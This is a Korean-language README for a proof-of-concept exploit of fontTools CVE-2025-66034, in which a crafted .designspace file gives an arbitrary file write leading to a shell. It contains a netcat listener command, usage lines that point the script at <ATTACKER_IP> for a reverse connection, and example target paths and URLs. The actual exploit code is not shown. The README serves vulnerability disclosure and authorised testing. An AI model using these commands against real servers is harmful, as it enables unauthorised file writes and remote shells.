
fontTools 가변 글꼴 생성 파이프라인의 CVE-2025-66034에 대한 개념 증명(PoC) 익스플로잇입니다. 조작된 .designspace 파일을 통해 출력 경로를 제어할 수 있어 임의 파일 쓰기가 가능해집니다. 이 스크립트는 문제를 시연하기 위해 페이로드 생성, 글꼴 생성 및 업로드를 자동화합니다.
이 저장소는 새로운 취약점을 소개하지 않습니다.
이것은 fontTools varLib 가변 폰트 생성 파이프라인에 영향을 미치는 CVE-2025-66034에 대한 개념 증명(PoC) 익스플로잇입니다.
이 취약점은 공격자가 조작된 .designspace 파일 내부의 출력 파일명을 제어할 수 있게 합니다. 취약한 폰트 생성 서비스에서 처리될 때, 서버 파일시스템에 임의 파일 쓰기로 이어질 수 있습니다.
varlib_cve_2025_66034.py 스크립트는 페이로드 생성, 폰트 생성, 업로드 및 선택적 셸 트리거링을 자동화합니다.
nc 리스너Python 3.9+
의존성 설치:
pip install fonttools requests
리스너에는 Netcat이 필요하므로, --no-listen 옵션을 사용하는 경우 다음 명령이 필요합니다:
nc -lvnp <PORT_NUMBER>
대상이 mysite.com에서 실행되는 자체 호스팅 랩이고, 업로드 경로, 파일시스템 쓰기 경로 및 웹 접근 가능 트리거 경로가 스크립트의 기본값과 일치한다면, 바로 실행할 수 있습니다.
기본 사용법:
python varlib_cve_2025_66034.py --ip <ATTACKER_IP> --port <ATTACKER_PORT>
대상이 다른 URL이나 파일시스템 경로를 사용할 가능성이 높으므로, 아래의 사용 가능한 옵션(예: --url, --path, --trigger)으로 기본값을 재정의하거나 스크립트를 수동으로 수정하세요.
참고: 멀티파트 업로드 양식 이름은 환경에 따라 다를 수 있습니다. 대상이 스크립트와 동일한 양식 필드 이름을 사용하지 않는 경우, 익스플로잇을 실행하기 전에 files 섹션에서 조정하세요.
사용자 지정 옵션 예시:
python varlib_cve_2025_66034.py --ip <ATTACKER_IP> --port <ATTACKER_PORT> --path /var/www/mysite.com/public --url http://mysite.com/tools/variable-font-generator/process --trigger http://mysite.com
.designspace 파일 생성다음 분들께 특별한 감사와 존경을 표합니다:
이 개념 증명은 취약점과 그 영향을 이해하는 데 도움을 주기 위한 교육 및 연구 목적으로 제공됩니다.
이 코드는 교육 및 연구 목적으로만 제공됩니다.
소유하지 않거나 명시적 테스트 허가를 받지 않은 시스템에 이 익스플로잇을 사용하지 마십시오.
저자는 이 소프트웨어로 인한 오용이나 손해에 대해 책임을 지지 않습니다.
| 인자 | 설명 |
|---|
--ip | 공격자 리스너 IP |
--port | 리스너 포트 |
--path | 파일이 기록될 대상 파일시스템 경로 (웹 셸을 트리거하려면 웹 접근이 가능해야 함) |
--url | 업로드 엔드포인트, 양식은 다를 수 있음 |
--trigger | 업로드 후 기록된 페이로드를 트리거하는 데 사용되는 기본 URL |
--no-listen | 자동 netcat 리스너 비활성화 |